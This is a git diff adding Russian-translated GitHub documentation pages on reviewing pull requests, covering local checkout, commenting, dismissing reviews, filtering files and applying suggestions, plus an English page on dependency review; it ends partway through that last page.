000000000000..fcaa46bed6b2 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md @@ -0,0 +1,105 @@ +--- +title: Локальное получение для изменения запросов на вытягивание +intro: 'Когда кто-то отправляет запрос на вытягивание из вилки или ветви репозитория, его можно объединить локально, чтобы разрешить конфликт слияния или протестировать и проверить изменения перед слиянием в {% data variables.product.product_name %}.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally + - /articles/checking-out-pull-requests-locally + - /github/collaborating-with-issues-and-pull-requests/checking-out-pull-requests-locally + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally +permissions: Anyone with write access to a repository can pull a remote pull request down locally. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Check out a PR locally +ms.openlocfilehash: 4102779dd822eb54105d26198f774de76d241f99 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009055' +--- +{% note %} + + **Примечание.** Авторы запросов на вытягивание могут предоставить ответственным пользователям вышестоящего репозитория или тем, у кого есть доступ к отправке в вышестоящий репозиторий, разрешение делать фиксации в ветви сравнения их запроса на вытягивание в вилке, принадлежащей пользователю. Дополнительные сведения см. в разделе [Разрешение изменений в ветви запроса на вытягивание, созданной из вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork). + + {% endnote %} + +## Локальное изменение активного запроса на вытягивание + +{% webui %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке запросов на вытягивание выберите тот, который хотите изменить.{% ifversion fpt or ghec %} +3. Чтобы выбрать, где вы хотите открыть запрос на вытягивание, выберите раскрывающийся список **Открыть с помощью {% octicon "triangle-down" aria-label="The down triangle icon" %}** и щелкните одну из вкладок. + ![Ссылка для доступа к инструкциям по запросу на вытягивание из командной строки](/assets/images/help/pull_requests/open-with-button.png){% else %} +3. В поле слияния щелкните **инструкции по командной строке**. Выполните последовательность действий, чтобы закрыть предлагаемый запрос на вытягивание. + ![Ссылка для доступа к инструкциям по запросу на вытягивание из командной строки](/assets/images/help/pull_requests/pull_request_show_command_line_merge.png) +4. При необходимости, чтобы просмотреть предлагаемые изменения в {% data variables.product.prodname_desktop %}, щелкните **открыть это в {% data variables.product.prodname_desktop %}** . + ![Ссылка для локального открытия запроса на вытягивание на рабочем столе](/assets/images/help/desktop/open-pr-in-desktop.png){% endif %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы извлечь запрос на вытягивание локально, используйте подкоманду `gh pr checkout`. Замените `pull-request` номером, URL-адресом или главной ветвью запроса на вытягивание. + +```shell +gh pr checkout PULL-REQUEST +``` + +{% endcli %} + +## Локальное изменение неактивного запроса на вытягивание + +Если автор запроса на вытягивание не отвечает на запросы или удалил вилку, для запроса на вытягивание по-прежнему можно выполнить слияние. Однако если вы хотите внести изменения в запрос на вытягивание, а автор не отвечает, вам потребуется выполнить некоторые дополнительные действия, чтобы обновить запрос на вытягивание. + +После открытия запроса на вытягивание {% data variables.product.product_name %} удаленно сохраняет все изменения. Другими словами, фиксации в запросе на вытягивание доступны в репозитории еще до того, как для запроса на вытягивание выполняется слияние. Можно получить открытый запрос на вытягивание и воссоздать его как свой собственный. + +Любой пользователь может работать с ранее открытым запросом на вытягивание, чтобы продолжить работу над ним, протестировать его или даже открыть новый запрос на вытягивание с дополнительными изменениями. Однако выполнять слияние для запросов на вытягивание могут только участники совместной работы с доступом на отправку. + +{% data reusables.repositories.sidebar-issue-pr %} +2. В списке "Запросы на вытягивание" щелкните тот, который требуется изменить. +3. Найдите идентификатор неактивного запроса на вытягивание. Это последовательность цифр сразу после заголовка запроса на вытягивание. + ![Номер идентификатора запросов на вытягивание](/assets/images/help/pull_requests/pull_request_id_number.png) {% data reusables.command_line.open_the_multi_os_terminal %} +5. Получите ссылку на запрос на вытягивание по его номеру идентификатора, создав в процессе новую ветвь. + ```shell + $ git fetch origin pull/ID/head:BRANCH_NAME + ``` +6. Перейдите в новую ветвь, основанную на этом запросе на вытягивание: + ```shell + [main] $ git checkout BRANCH_NAME + > Switched to a new branch 'BRANCH_NAME' + ``` +7. На этом этапе можно сделать все, что нужно, с помощью этой ветви. Можно выполнить некоторые локальные тесты или слияние других ветвей в ветвь. +8. Когда будете готовы, можно отправить новую ветвь вверх: + ```shell + [pull-inactive-pull-request] $ git push origin BRANCH_NAME + > Counting objects: 32, done. + > Delta compression using up to 8 threads. + > Compressing objects: 100% (26/26), done. + > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done. + > Total 29 (delta 8), reused 0 (delta 0) + > To https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git + > * [new branch] BRANCH_NAME -> BRANCH_NAME + ``` +9. [Создайте новый запрос на вытягивание](/articles/creating-a-pull-request) с помощью новой ветви. + +## Ошибка: не удалось отправить некоторые ссылки + +Удаленное `refs/pull/` пространство имен доступно *только для чтения*. При попытке отправить туда фиксации вы увидите следующую ошибку: +```shell +! [remote rejected] HEAD -> refs/pull/1/head (deny updating a hidden ref) +error: failed to push some refs to 'git@github.local:USERNAME/REPOSITORY.git' +``` + +{% tip %} + +**Совет.** Когда вы удаляете или переименовываете удаленную ссылку, ваше локальное пространство имен `refs/pull/origin/` не будет затронуто вызовами `git-remote`. + +{% endtip %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md new file mode 100644 index 000000000000..5606e8c5ecc9 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md @@ -0,0 +1,67 @@ +--- +title: Комментирование в запросе на вытягивание +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request + - /articles/adding-commit-comments + - /articles/commenting-on-the-diff-of-a-pull-request + - /articles/commenting-on-differences-between-files + - /articles/commenting-on-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request +intro: После открытия запроса на вытягивание в репозитории участники совместной работы или участники группы могут комментировать сравнение файлов между двумя указанными ветвями или добавлять комментарии общего характера к проекту в целом. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Comment on a PR +ms.openlocfilehash: eb1b80fa6088bc083f0b2006a2c894a820cd6c10 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578959' +--- +## Сведения о комментариях в запросах на вытягивание + +Вы можете добавить комментарий на вкладке **Беседа** запроса на вытягивание, чтобы оставить общие комментарии, вопросы или реквизиты. Кроме того, вы можете предложить изменения, которые автор запроса на вытягивание может применить непосредственно из вашего комментария. + +![Беседа запроса на вытягивание](/assets/images/help/pull_requests/conversation.png) + +Вы также можете прокомментировать определенные разделы файла на вкладке **Измененные файлы** запроса на вытягивание в форме отдельных строковых комментариев или в рамках [проверки запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Добавление строковых комментариев — отличный способ обсудить вопросы о реализации или оставить отзыв для автора. + +Дополнительные сведения о добавлении строковых комментариев к проверке запроса на вытягивание см. в разделе [Проверка предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). + +{% note %} + +**Примечание.** Если вы отвечаете на запрос на вытягивание по электронной почте, ваш комментарий будет добавлен на вкладке **Беседа** и не будет частью проверки запроса на вытягивание. + +{% endnote %} + +Чтобы ответить на имеющийся строковый комментарий, необходимо перейти к этому комментарию на вкладке **Беседа** или **Измененные файлы** и добавить под ним дополнительный строковый комментарий. + +{% tip %} + +**Советы** +- Для комментариев запроса на вытягивание используются те же [элементы формата](/categories/writing-on-github), что и для обычных комментариев в {% data variables.product.product_name %}, например, @mentions, эмодзи и ссылки. +- Вы можете добавить реакции на комментарии в запросах на вытягивание на вкладке **Измененные файлы**. + +{% endtip %} + +## Добавление строковых комментариев в запрос на вытягивание + +{% data reusables.repositories.sidebar-pr %} +2. В списке запросов на вытягивание щелкните запрос на вытягивание, в котором вы хотите оставить строковые комментарии. +{% data reusables.repositories.changed-files %} {% data reusables.repositories.start-line-comment %} {% data reusables.repositories.type-line-comment %} {% data reusables.repositories.suggest-changes %} +5. Внеся комментарий, нажмите **Добавить один комментарий**. + ![Встроенное окно комментариев](/assets/images/help/commits/inline-comment.png) + +Все, кто просматривает запрос на вытягивание или репозиторий, получат уведомление о вашем комментарии. + +{% data reusables.pull_requests.resolving-conversations %} + +## Дополнительные материалы + +- [Создание документов на GitHub](/github/writing-on-github) {% ifversion fpt or ghec %}- [Сообщение о злоупотреблениях или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) {% endif %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md new file mode 100644 index 000000000000..c4898243cc82 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md @@ -0,0 +1,39 @@ +--- +title: Отклонение проверки запроса на вытягивание +intro: 'Если репозиторию требуются проверки, можно закрыть проверки запросов на вытягивание, которые больше не являются допустимыми или не могут быть утверждены рецензентом.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review + - /articles/dismissing-a-pull-request-review + - /github/collaborating-with-issues-and-pull-requests/dismissing-a-pull-request-review + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Dismiss a PR review +ms.openlocfilehash: 658f0b69a24c622a3b5f75d6e330d132040d62c5 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878690' +--- +{% data reusables.pull_requests.dismiss_review %}При этом состояние проверки изменяется на комментарий к проверке. При отклонении проверки необходимо добавить комментарий с объяснением причины отклонения. Комментарий будет добавлен в беседу по запросу на вытягивание. + +{% data reusables.search.requested_reviews_search %} + +{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} +3. На вкладке "Беседа" прокрутите страницу до проверки, которую нужно отклонить, а затем щелкните {% octicon "chevron-down" aria-label="The down button" %}. ![Значок шеврона в поле объединения](/assets/images/help/pull_requests/merge_box/pull-request-open-menu.png) +4. Щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} и выберите **Отклонить проверку**. +![Значок горизонтального многоточия в поле объединения](/assets/images/help/pull_requests/merge_box/pull-request-dismiss-review.png) +5. Введите причину отклонения и нажмите кнопку **Отклонить проверку**. + ![Кнопка "Отклонить проверку"](/assets/images/help/pull_requests/merge_box/pull-request-dismiss-review-button.png) + +## Дополнительные материалы + +- [Сведения о проверках запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) +- [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md new file mode 100644 index 000000000000..37f922b20128 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md @@ -0,0 +1,66 @@ +--- +title: Фильтрация файлов в запросе на вытягивание +intro: 'Чтобы быстро просмотреть изменения в большом запросе на вытягивание, можно отфильтровать измененные файлы{% ifversion pr-tree-view %} или использовать дерево файлов для перехода между файлами{% endif %}.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request + - /articles/filtering-files-in-a-pull-request-by-file-type + - /articles/filtering-files-in-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/filtering-files-in-a-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Filter files +ms.openlocfilehash: 1ca50334e4329d40ee164cd01523abc69e127ab3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884176' +--- +Можно отфильтровать файлы в запросе на вытягивание по типу расширения файла, например, `.html` или `.js`, отсутствию расширения, владению кодом или файлам с точкой.{% ifversion pr-tree-view %} Также можно использовать дерево файлов для фильтрации по пути к файлу, навигации между файлами или просмотру представления на высоком уровне измененных файлов. {% endif %} + +## Использование раскрывающегося списка фильтра файлов + +{% tip %} + +**Совет.** Чтобы упростить просмотр различий запросов на вытягивание, можно также временно скрыть удаленные или уже просмотренные файлы в различиях запросов на вытягивание, в раскрывающемся меню фильтра файлов. + +{% endtip %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке щелкните запрос на вытягивание, который нужно отфильтровать. +{% data reusables.repositories.changed-files %} +4. Используйте раскрывающееся меню фильтра файлов и выберите, отмените выбор или щелкните нужные фильтры. + ![Параметр фильтра файлов над различием запросов на вытягивание](/assets/images/help/pull_requests/file-filter-option.png) +5. При необходимости, чтобы очистить выделение фильтра, на вкладке **Измененные файлы** щелкните **Очистить**. + ![Очистка выделения фильтра файлов](/assets/images/help/pull_requests/clear-file-filter.png) + +{% ifversion pr-tree-view %} +## Использование дерева файлов + +{% data reusables.repositories.sidebar-pr %} +1. В списке щелкните запрос на вытягивание, который нужно отфильтровать. +{% data reusables.repositories.changed-files %} + +1. Щелкните файл в дереве файлов, чтобы просмотреть соответствующее различие файлов. Если дерево файлов скрыто, щелкните {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %}, чтобы отобразить его. + + {% note %} + + **Примечание**. Дерево файлов не будет отображаться, если ширина экрана слишком узкая или если запрос на вытягивание содержит только один файл. + + {% endnote %} + + ![Снимок экрана: поле поиска "Отфильтровать измененные файлы" с выделенным деревом файлов](/assets/images/help/repository/file-tree.png) +1. Чтобы выполнить фильтрацию по пути к файлу, введите часть или весь путь к файлу в поле поиска **Отфильтровать измененные файлы**. В качестве альтернативы используйте раскрывающийся список фильтров файлов. Дополнительные сведения см. в разделе [Использование раскрывающегося списка фильтров файлов](#using-the-file-filter-dropdown). + +{% endif %} + +## Дополнительные материалы + +- [Сравнение ветвей в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests) +- [Поиск измененных методов и функций в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md new file mode 100644 index 000000000000..ec81fee3dcb5 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md @@ -0,0 +1,52 @@ +--- +title: Поиск измененных методов и функций в запросе на вытягивание +intro: 'Предлагаемые изменения метода или функции можно быстро найти в запросе на вытягивание в файлах *GO*, *JS*, *TS*, *PY*, *PHP* и *RB*.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request + - /articles/finding-changed-methods-and-functions-in-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/finding-changed-methods-and-functions-in-a-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Methods & functions +ms.openlocfilehash: be891fe01166ee0eccf9ba7c824a1017c9d8fc11 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139193' +--- +Любой пользователь с доступом на чтение к репозиторию может просмотреть сводный список изменений функций и методов в определенных файлах запроса на вытягивание. + +Сводный список методов и функций создается из следующих поддерживаемых типов файлов: + - Go + - JavaScript (включает Typescript, Flow и другие типы JavaScript) + - PHP + - Python + - Ruby + +{% data reusables.repositories.sidebar-pr %} +2. В списке запросов на вытягивание щелкните запрос на вытягивание, в котором вы хотите найти измененные функции и методы. +{% data reusables.repositories.changed-files %} +4. Чтобы просмотреть сводный список измененных функций и методов, нажмите кнопку **Перейти к...** . ![Раскрывающееся меню "Перейти к"](/assets/images/help/pull_requests/jump-to-menu.png) +5. Выберите измененную функцию или метод в раскрывающемся меню. Можно также ввести имя функции или метода для фильтрации результатов. + ![Фильтрация функций и методов](/assets/images/help/pull_requests/filter-function-and-methods.png) + + {% note %} + + **Примечание.** Если ожидаемые функции или методы не отображаются, убедитесь, что код компилируется и не содержит ошибок. В раскрывающемся меню отображаются только функции и методы, измененные в этом запросе на вытягивание и находящиеся в файлах *.go*, *.js*, *.ts*, *.py*, *.php* и *.rb*. + + {% endnote %} + +6. Вы будете перенаправлены в первую строку выбранной функции или метода. + ![Просмотр измененных функций или методов в файлах](/assets/images/help/pull_requests/view-selected-function-or-method.png) + +## Дополнительные материалы + +- [Сравнение ветвей в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests) +- [Фильтрация файлов в запросе на вытягивание по типу файла](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md new file mode 100644 index 000000000000..3b8bd4fe554a --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md @@ -0,0 +1,58 @@ +--- +title: Внедрение отзывов в запрос на вытягивание +intro: 'Когда рецензенты предлагают изменения в запросе на вытягивание, вы можете автоматически включить изменения в запрос на вытягивание или открыть проблему для отслеживания предложений, не включенных в область.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request + - /articles/incorporating-feedback-in-your-pull-request + - /github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Incorporate feedback +ms.openlocfilehash: b94c7ddc682b1e53077770877140eb2a218a19de +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139521' +--- +## Применение предлагаемых изменений + +Другие люди могут предлагать определенные изменения в вашем запросе на вытягивание. Эти предлагаемые изменения вы можете применить непосредственно в запросе на вытягивание, если у вас есть доступ на запись в репозиторий. Если запрос на вытягивание был создан из вилки, и автор разрешил редактирование от обслуживающих пользователей, вы также можете применить предлагаемые изменения, если у вас есть доступ на запись в вышестоящий репозиторий. Дополнительные сведения см. в разделах [Комментирование в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) и [Разрешение изменений в ветви запроса на вытягивание, созданной из вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork). + +Чтобы быстро включить несколько предлагаемых изменений в одну фиксацию, можно также применить предлагаемые изменения в пакете. Применение одного предлагаемого изменения или пакета изменений создает единую фиксацию в ветви сравнения запроса на вытягивание. + +Каждый пользователь, предложивший изменение, включенное в фиксацию, будет соавтором фиксации. Пользователь, который применяет предлагаемые изменения, будет соавтором и фиксатором фиксации. Дополнительные сведения о термине "фиксатор" в Git см. в разделе [Основы Git — просмотр журнала фиксаций](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History) на сайте книги _Pro Git_. + +{% data reusables.repositories.sidebar-pr %} +2. В списке запросов на вытягивание выберите запрос на вытягивание, к которому вы хотите применить предлагаемое изменение. +3. Перейдите к первому предлагаемому изменению, которое вы хотите применить. + - Чтобы применить изменение в его собственной фиксации, нажмите кнопку **Зафиксировать предложение**. + ![Кнопка фиксации предложения](/assets/images/help/pull_requests/commit-suggestion-button.png) + - Чтобы добавить предложение в пакет изменений, нажмите **Добавить предложение в пакет**. Продолжайте добавлять предлагаемые изменения, которые вы хотите включить в одну фиксацию. Завершив добавление предлагаемых изменений, нажмите кнопку **Зафиксировать предложения**. + ![Кнопка добавления предложения в пакет](/assets/images/help/pull_requests/add-suggestion-to-batch.png) +4. В поле сообщения фиксации введите короткое понятное сообщение фиксации, описывающее изменение, внесенное в файл или файлы. +![Поле сообщения о фиксации](/assets/images/help/pull_requests/suggested-change-commit-message-field.png) +5. Щелкните **Зафиксировать изменения.** +![ Кнопка фиксации изменений](/assets/images/help/pull_requests/commit-changes-button.png) + +## Повторный запрос проверки + +{% data reusables.pull_requests.re-request-review %} + +## Открытие проблемы для предложения, выходящего за рамки области + +Если кто-то предлагает изменения в запросе на вытягивание, и эти изменения выходят за рамки области запроса на вытягивание, вы можете открыть новую проблему для отслеживания отзывов. Дополнительные сведения см. в разделе [Открытие проблемы из комментария](/github/managing-your-work-on-github/opening-an-issue-from-a-comment). + +## Дополнительные материалы + +- [Сведения о проверках запроса на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews) +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) +- [Комментирование запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) +- [Запрос проверки запроса на вытягивание](/github/collaborating-with-issues-and-pull-requests/requesting-a-pull-request-review) +- [Открытие проблемы из комментария](/github/managing-your-work-on-github/opening-an-issue-from-a-comment) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md new file mode 100644 index 000000000000..a619bb44e2a1 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md @@ -0,0 +1,36 @@ +--- +title: Проверка изменений в запросах на включение изменений +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests + - /articles/reviewing-and-discussing-changes-in-pull-requests + - /articles/reviewing-changes-in-pull-requests + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests +intro: После открытия запроса на вытягивание можно просмотреть и обсудить набор предлагаемых изменений. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-pull-request-reviews + - /reviewing-proposed-changes-in-a-pull-request + - /filtering-files-in-a-pull-request + - /finding-changed-methods-and-functions-in-a-pull-request + - /commenting-on-a-pull-request + - /viewing-a-pull-request-review + - /reviewing-dependency-changes-in-a-pull-request + - /incorporating-feedback-in-your-pull-request + - /approving-a-pull-request-with-required-reviews + - /dismissing-a-pull-request-review + - /checking-out-pull-requests-locally +shortTitle: Review changes +ms.openlocfilehash: e190c75efdf4a9813b50ccc817c2bd2a19c2393a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139518' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md new file mode 100644 index 000000000000..141f27d80589 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md @@ -0,0 +1,88 @@ +--- +title: Reviewing dependency changes in a pull request +intro: 'If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies.' +product: '{% data reusables.gated-features.dependency-review %}' +versions: + fpt: '*' + ghes: '>= 3.2' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Pull requests + - Dependency review + - Advanced Security + - Vulnerabilities + - Dependencies +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request +shortTitle: Review dependency changes +--- +<!--Marketing-LINK: From /features/security/software-supply-chain page "Sign up for the dependency review beta" and "Reviewing dependency changes in a pull request".--> + +## About dependency review + +{% data reusables.dependency-review.feature-overview %} + +{% ifversion ghec %}Before you can use dependency review in a private repository, you must enable the dependency graph. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."{% endif %} + +{% ifversion ghes %} Before you can use dependency review, you must enable the dependency graph and connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling alerts for vulnerable dependencies on {% data variables.product.prodname_ghe_server %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)."{% endif %} + +Dependency review allows you to "shift left". You can use the provided predictive information to catch vulnerable dependencies before they hit production. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." + +{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} + +You can use the {% data variables.product.prodname_dependency_review_action %} to help enforce dependency reviews on pull requests in your repository. {% data reusables.dependency-review.dependency-review-action-overview %} + +{% ifversion dependency-review-action-configuration %} +You can configure the {% data variables.product.prodname_dependency_review_action %} to better suit your needs by specifying the type of dependency vulnerability you wish to catch. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." +{% endif %} + +{% endif %} +## Reviewing dependencies in a pull request + +{% data reusables.repositories.sidebar-pr %} +{% data reusables.repositories.choose-pr-review %} +{% data reusables.repositories.changed-files %} + +1. If the pull request contains many files, use the **File filter** drop-down menu to collapse all files that don't record dependencies. This will make it easier to focus your review on the dependency changes. + + ![The file filter menu](/assets/images/help/pull_requests/file-filter-menu-json.png) + The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default. + + {% note %} + + **Note:** Dependency review rich diffs are not available for committed static JavaScript files like `jquery.js`. + + {% endnote %} + +1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button. + + ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png) + +2. Check the dependencies listed in the dependency review. + + ![Vulnerability warnings in a dependency review](/assets/images/help/pull_requests/dependency-review-vulnerability.png) + + Any added or changed dependencies that have vulnerabilities are listed first, ordered by severity and then by dependency name. This means that the highest severity dependencies are always at the top of a dependency review. Other dependencies are listed alphabetically by dependency name. + + The icon beside each dependency indicates whether the dependency has been added (<span style="color:#22863a">{% octicon "diff-added" aria-label="Dependency added icon" %}</span>), updated (<span style="color:#b08800">{% octicon "diff-modified" aria-label="Dependency modified icon" %}</span>), or removed (<span style="color:#cb2431">{% octicon "diff-removed" aria-label="Dependency removed icon" %}</span>) in this pull request. + + Other information includes: + + * The version, or 